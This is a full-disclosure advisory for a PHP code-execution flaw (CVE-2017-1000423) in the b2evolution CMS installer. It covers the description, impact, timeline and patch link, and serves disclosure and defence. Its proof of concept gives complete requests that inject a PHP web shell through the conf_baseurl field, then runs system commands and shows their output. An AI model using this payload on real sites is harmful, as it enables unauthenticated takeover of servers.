b2evolution CMS 6.6.0 - 6.8.10 PHP code execution ################################################# Information =========== Name: b2evolution CMS 6.8.10 Software: b2evolution CMS Homepage: http://b2evolution.net/ Vulnerability: PHP code execution Prerequisites: publicly accessible /install functionality CVE: CVE-2017-1000423 Credit: Anti Räis HTML version: https://bitflipper.eu Description =========== Unauthenticated user with access to `/install` functionality can configure the application installation parameters and complete the installation. This functionality can be used to execute PHP code on the server. Proof of Concept ================ Application needs to be installed and configured after coping the source code to the server. After installation and configuration (`/install`) is complete, the application will create a `/conf/_basic_config.php` file. It contains database connection credentials and other settings. Unauthenticated attacker with access to `/intall` functionality can use it to execute PHP code by injecting it into different values. Following scenario demonstrates the issue on Apache web-server. Following request is made after base configuration is completed: ================[ src start ]================ POST /install/index.php HTTP/1.1 Host: victim.site Content-Length: 214 Content-Type: application/x-www-form-urlencoded Connection: close conf_db_host=localhost&conf_db_name=b2evolution&conf_db_user=root& conf_db_password=root&conf_baseurl=http%3A%2F%2Fvictim.site%2F& conf_admin_email=admin%40localhost&submit=Update+config+file& action=conf&locale=en-US ================[ src end ]================== Application creates the `/conf/_basic_config.php` using user supplied values: ================[ src start ]================ ... /** * MySQL DB settings. * Fill in your database details (check carefully or nothing will work!) */ $db_config = array( 'user' => 'root', // your MySQL username 'password' => 'root', // ...and password 'name' => 'b2evolution', // the name of the database 'host' => 'localhost', // MySQL Server (typically 'localhost') ); ... $baseurl = 'http://victim.site/'; ... $admin_email = 'admin@localhost'; ... ================[ src end ]================== In case the application is installed on public server, the installation functionality is publicly accessible to everyone accessing the vulnerable site. Assuming that the attacker manages to find a application in this state, before the initial installation in completed, they can use previously described request to execute PHP code on the victim's server. Following parameters are vulnerable and can be used for this attack: * conf_db_tableprefix * conf_admin_email * conf_baseurl Let's use `conf_baseurl` for example. Attacker specifies the following value as base URL: ================[ src start ]================ http://victim.site/\\';$r=$_REQUEST;if(isset($r[0])){$r[0]($r[1]);}/* ================[ src end ]================== After finishing the basic setup, following request is made. ================[ src start ]================ POST /install/index.php HTTP/1.1 Host: victim.site Content-Length: 319 Content-Type: application/x-www-form-urlencoded Connection: close conf_db_host=localhost&conf_db_name=b2evolution&conf_db_user=root& conf_db_password=root& conf_baseurl=http%3A%2F%2Fvictim.site%2F%5C%5C%27%3B%24r%3D%24_REQUEST%3Bif %28isset%28%24r%5B0%5D%29%29%7B%24r%5B0%5D%28%24r%5B1%5D%29%3B%7D%2F*& conf_admin_email=admin%40localhost&submit=Update+config+file&action=conf& locale=en-US ================[ src end ]================== Application creates the `/conf/_basic_config.php` using attacker given values: ================[ src start ]================ ... /** * MySQL DB settings. * Fill in your database details (check carefully or nothing will work!) */ $db_config = array( 'user' => 'root', // your MySQL username 'password' => 'root', // ...and password 'name' => 'b2evolution', // the name of the database 'host' => 'localhost', // MySQL Server (typically 'localhost') ); ... $baseurl = 'http://victim.site/\\';$r=$_REQUEST; if(isset($r[0])){$r[0]($r[1]);}/*/'; ... $admin_email = 'admin@localhost'; ... ================[ src end ]================== Attacker can use the PHP shell to execute code and take control of the site: view-source:http://victim.site/install/index.php?0=system&1=ls%20-lah;pwd ================[ src start ]================ total 676K drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:26 . drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:36 .. -rw-rw-rw- 1 vagrant vagrant 60K Jul 23 00:26 _functions_create.php -rw-rw-rw- 1 vagrant vagrant 2.2K Jul 23 00:26 _functions_delete.php -rw-rw-rw- 1 vagrant vagrant 349K Jul 23 00:26 _functions_evoupgrade.php -rw-rw-rw- 1 vagrant vagrant 60K Jul 23 00:26 _functions_install.php -rw-rw-rw- 1 vagrant vagrant 14K Jul 23 00:26 automated-install.html -rw-rw-rw- 1 vagrant vagrant 13K Jul 23 00:26 debug.php -rw-rw-rw- 1 vagrant vagrant 831 Jul 23 00:26 index.html -rw-rw-rw- 1 vagrant vagrant 52K Jul 23 00:26 index.php -rw-rw-rw- 1 vagrant vagrant 16K Jul 23 00:26 license.txt -rw-rw-rw- 1 vagrant vagrant 523 Jul 23 00:26 phpinfo.php drwxrwxrwx 1 vagrant vagrant 4.0K Jul 23 00:26 test /var/www/b2evolution/install ... ================[ src end ]================== Impact ====== Unauthenticated attacker can execute PHP code on the server. This can be used to further compromise the site and hide the initial shell on the server. Conclusion ========== Unrestricted access to basic install functionality allows unauthenticated attacker to execute PHP code on the server and compromise the site. New release has been made available to mitigate this issue: * http://b2evolution.net/downloads/6-9-3 Timeline ======== * 08.08.2017 | me | vulnerability discovered * 08.08.2017 | me > developer | contacted the developer * 09.08.2017 | developer | vulnerability patched * 12.08.2017 | me > DWF | CVE requested * 12.08.2017 | me > developer | asked about patch release estimate * 25.08.2017 | developer > public | new release with patch made available * 31.08.2017 | me > public | full disclosure * 29.12.2017 | DWF > me | CVE assigned --- Anti Räis Blog: https://bitflipper.eu Pentester at http://www.clarifiedsecurity.com
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